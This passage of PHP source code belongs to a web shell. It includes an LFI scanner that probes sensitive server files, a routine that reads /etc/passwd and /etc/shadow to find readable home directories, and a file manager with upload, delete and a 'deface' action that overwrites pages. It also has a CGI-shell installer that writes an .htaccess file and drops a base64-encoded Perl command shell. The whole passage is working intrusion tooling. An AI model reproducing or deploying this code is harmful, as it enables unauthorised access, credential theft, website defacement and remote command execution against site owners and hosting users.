1229 while($lficonfig[$x]) {
1230 $res3 = FetchURL($target.$lficonfig[$x]);
1231 $rhash3 = md5($res3);
1232 if ($rhash3 != $rhash2) {
1233 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
1234 }
1235 else {
1236 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
1237 }
1238 $x++;
1239 }
1240 }
1241 }
1242 if ( $type == 3 ) {
1243 $res1 = FetchURL($target.$lfitest);
1244 $res2 = FetchURL($target.$lfitest2);
1245 $rhash1 = md5($res1);
1246 $rhash2 = md5($res2);
1247 if ($rhash1 != $rhash2) {
1248 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1249 while($lfierror[$x]) {
1250 $res3 = FetchURL($target.$lfierror[$x]);
1251 $rhash3 = md5($res3);
1252 if ($rhash3 != $rhash2) {
1253 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
1254 }
1255 else {
1256 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
1257 }
1258 $x++;
1259 }
1260 }
1261 }
1262 if ( $type == 4 ) {
1263 $res1 = FetchURL($target.$lfitest);
1264 $res2 = FetchURL($target.$lfitest2);
1265 $rhash1 = md5($res1);
1266 $rhash2 = md5($res2);
1267 if ($rhash1 != $rhash2) {
1268 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1269 while($lfiphpini[$x]) {
1270 $res3 = FetchURL($target.$lfiphpini[$x]);
1271 $rhash3 = md5($res3);
1272 if ($rhash3 != $rhash2) {
1273 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
1274 }
1275 else {
1276 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
1277 }
1278 $x++;
1279 }
1280 }
1281 }
1282 if ( $type == 5 ) {
1283 $res1 = FetchURL($target.$lfitest);
1284 $res2 = FetchURL($target.$lfitest2);
1285 $rhash1 = md5($res1);
1286 $rhash2 = md5($res2);
1287 if ($rhash1 != $rhash2) {
1288 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1289 while($lfimysql[$x]) {
1290 $res3 = FetchURL($target.$lfimysql[$x]);
1291 $rhash3 = md5($res3);
1292 if ($rhash3 != $rhash2) {
1293 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
1294 }
1295 else {
1296 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
1297 }
1298 $x++;
1299 }
1300 }
1301 }
1302 if ( $type == 6 ) {
1303 $res1 = FetchURL($target.$lfitest);
1304 $res2 = FetchURL($target.$lfitest2);
1305 $rhash1 = md5($res1);
1306 $rhash2 = md5($res2);
1307 if ($rhash1 != $rhash2) {
1308 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1309 while($lfiftp[$x]) {
1310 $res3 = FetchURL($target.$lfiftp[$x]);
1311 $rhash3 = md5($res3);
1312 if ($rhash3 != $rhash2) {
1313 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
1314 }
1315 else {
1316 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
1317 }
1318 $x++;
1319 }
1320 }
1321 }
1322 if ( $type == 7 ) {
1323 $res1 = FetchURL($target.$lfitest);
1324 $res2 = FetchURL($target.$lfitest2);
1325 $rhash1 = md5($res1);
1326 $rhash2 = md5($res2);
1327 if ($rhash1 != $rhash2) {
1328 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
1329 $res3 = FetchURL($target.$lfiprocenv);
1330 $rhash3 = md5($res3);
1331 if ($rhash3 != $rhash2) {
1332 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
1333 }
1334 else {
1335 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
1336 }
1337 }
1338 }
1339 }
1340 }
1341 printFooter();
1342 }
1343
1344function actionReadable() {
1345 printHeader();
1346 echo '<h1>Readable Dirs</h1>';
1347 echo '<div class="content">';
1348 $sm = ini_get('safe_mode');
1349 if($sm) {
1350 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1351 } else {
1352 @$passwd = file('/etc/passwd','r');
1353 @$passwd = file('/etc/shadow','r');
1354 if (!$passwd) {
1355 echo '<br /><b> [-] Error : coudn`t read /etc/passwd or /etc/shadow </b><br /><br />';
1356 } else {
1357 $pub = array();
1358 $users = array();
1359 $conf = array();
1360 $i = 0;
1361 foreach($passwd as $p) {
1362 $r = explode(':',$p);
1363 $dirz = $r[5].'/public_html/';
1364 if(strpos($r[5],'home')) {
1365 array_push($users,$r[0]);
1366 if (is_readable($dirz)) {
1367 array_push($pub,$dirz);
1368 }
1369 }
1370 }
1371 echo '<br><br>';
1372 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
1373 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
1374 foreach ($pub as $user) {
1375 echo $user."<br>";
1376 }
1377 echo "<br /><br /><br />[+] Complete...\n"."<br />";
1378 }
1379 }
1380 echo '</div>';
1381 printFooter();
1382}
1383
1384function actionFilesMan() {
1385 printHeader();
1386 echo '<h1>File manager</h1><div class=content>';
1387 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
1388 switch($_POST['p1']) {
1389 case 'uploadFile':
1390 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1391 echo "Can't upload file!";
1392 break;
1393 break;
1394 case 'mkdir':
1395 if(!@mkdir($_POST['p2']))
1396 echo "Can't create new dir";
1397 break;
1398 case 'delete':
1399 function deleteDir($path) {
1400 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1401 $dh = opendir($path);
1402 while ( ($item = readdir($dh) ) !== false) {
1403 $item = $path.$item;
1404 if ( (basename($item) == "..") || (basename($item) == ".") )
1405 continue;
1406 $type = filetype($item);
1407 if ($type == "dir")
1408 deleteDir($item);
1409 else
1410 @unlink($item);
1411 }
1412 closedir($dh);
1413 rmdir($path);
1414 }
1415 if(is_array(@$_POST['f']))
1416 foreach($_POST['f'] as $f) {
1417 $f = urldecode($f);
1418 if(is_dir($f))
1419 deleteDir($f);
1420 else
1421 @unlink($f);
1422 }
1423 break;
1424 case 'paste':
1425 if($_SESSION['act'] == 'copy') {
1426 function copy_paste($c,$s,$d){
1427 if(is_dir($c.$s)){
1428 mkdir($d.$s);
1429 $h = opendir($c.$s);
1430 while (($f = readdir($h)) !== false)
1431 if (($f != ".") and ($f != "..")) {
1432 copy_paste($c.$s.'/',$f, $d.$s.'/');
1433 }
1434 } elseif(is_file($c.$s)) {
1435 @copy($c.$s, $d.$s);
1436 }
1437 }
1438 foreach($_SESSION['f'] as $f)
1439 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
1440 } elseif($_SESSION['act'] == 'move') {
1441 function move_paste($c,$s,$d){
1442 if(is_dir($c.$s)){
1443 mkdir($d.$s);
1444 $h = opendir($c.$s);
1445 while (($f = readdir($h)) !== false)
1446 if (($f != ".") and ($f != "..")) {
1447 copy_paste($c.$s.'/',$f, $d.$s.'/');
1448 }
1449 } elseif(is_file($c.$s)) {
1450 @copy($c.$s, $d.$s);
1451 }
1452 }
1453 foreach($_SESSION['f'] as $f)
1454 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
1455 }
1456 unset($_SESSION['f']);
1457 break;
1458 default:
1459 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
1460 $_SESSION['act'] = @$_POST['p1'];
1461 $_SESSION['f'] = @$_POST['f'];
1462 foreach($_SESSION['f'] as $k => $f)
1463 $_SESSION['f'][$k] = urldecode($f);
1464 $_SESSION['cwd'] = @$_POST['c'];
1465 }
1466 break;
1467 }
1468 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
1469 }
1470 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
1471 $def = file_get_contents(''); //DEFACE LINK HERE
1472 file_put_contents($_POST['c'].$_POST['p2'],$def);
1473 }
1474 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1475 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
1476 global $sort;
1477 $sort = array('name', 1);
1478 if(!empty($_POST['p1'])) {
1479 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1480 $sort = array($match[1], (int)$match[2]);
1481 }
1482 echo '<script>
1483 function sa() {
1484 for(i=0;i<document.files.elements.length;i++)
1485 if(document.files.elements[i].type == \'checkbox\')
1486 document.files.elements[i].checked = document.files.elements[0].checked;
1487 }
1488 </script>
1489 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
1490 <form name=files method=post>';
1491 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1492 $dirs = $files = $links = array();
1493 $n = count($dirContent);
1494 for($i=0;$i<$n;$i++) {
1495 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1496 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1497 $tmp = array('name' => $dirContent[$i],
1498 'path' => $GLOBALS['cwd'].$dirContent[$i],
1499 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
1500 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
1501 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1502 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1503 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1504 );
1505 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
1506 $files[] = array_merge($tmp, array('type' => 'file'));
1507 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
1508 $links[] = array_merge($tmp, array('type' => 'link'));
1509 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
1510 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1511 }
1512 $GLOBALS['sort'] = $sort;
1513 function cmp($a, $b) {
1514 if($GLOBALS['sort'][0] != 'size')
1515 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
1516 else
1517 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1518 }
1519 usort($files, "cmp");
1520 usort($dirs, "cmp");
1521 usort($links, "cmp");
1522 $files = array_merge($dirs, $links, $files);
1523 $l = 0;
1524 foreach($files as $f) {
1525 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1526 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1527 $l = $l?0:1;
1528 }
1529 echo '<tr><td colspan=5>
1530 <input type=hidden name=a value=\'FilesMan\'>
1531 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1532 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1533 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
1534 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
1535 echo '</select> <input type="submit" value="Submit"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.html" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
1536 </form></table></div>';
1537 printFooter();
1538}
1539
1540
1541function actionCgiShell() {
1542 printHeader();
1543 echo '<h1>Cgi telnet Evil here </h1><div class=content>';
1544 mkdir('cgitelnet1', 0755);
1545 chdir('cgitelnet1');
1546 $kokdosya = ".htaccess";
1547 $dosya_adi = "$kokdosya";
1548 $dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
1549 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
1550
1551AddType application/x-httpd-cgi .cin
1552
1553AddHandler cgi-script .cin
1554AddHandler cgi-script .cin";
1555 fwrite($dosya, $metin);
1556 fclose($dosya);
1557 $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t
1558LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1559LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w
1560cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1561LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt
1562LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1563LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl
1564IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv
1565cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1566LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3
1567b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp
1568cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug
1569dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp
1570cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv
1571biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt
1572ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h
1573bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl
1574cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz
1575DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh
1576dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
1577ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ
1578CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr
1579ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs
1580aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl
1581cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh
1582IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv
1583dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN
1584CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj
1585IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp
1586bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg
1587VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U
1588ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog
1589InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9
1590ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t
1591LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1592LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz
1593ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw
1594YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp
1595bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp
1596bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk
1597aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl
1598OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD
1599R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1600LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7
1601DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
1602Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0
1603aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N
1604RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N
1605CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo
1606U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu
1607LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk
1608YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi
1609b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl
1610ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl
1611YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K
1612CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg
1613dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9
1614ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9
1615ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K
1616CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ
1617CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv
1618Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu
1619fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4
1620KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh
1621cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw
1622bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld
1623ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN
1624CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv
1625JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl
1626ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K
1627Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1628LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg
1629QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K
1630Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1631LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk
1632Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt
1633ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
1634dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy
1635aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5
1636d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N
1637CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg
1638aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m
1639b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h
1640cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv
1641cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8
1642dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj
1643ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K
1644PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp
1645emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm
1646NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u
1647dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48
1648Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
1649P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs
1650b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv
1651YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG
1652aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u
1653dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K
1654PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t
1655LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1656LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t
1657LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
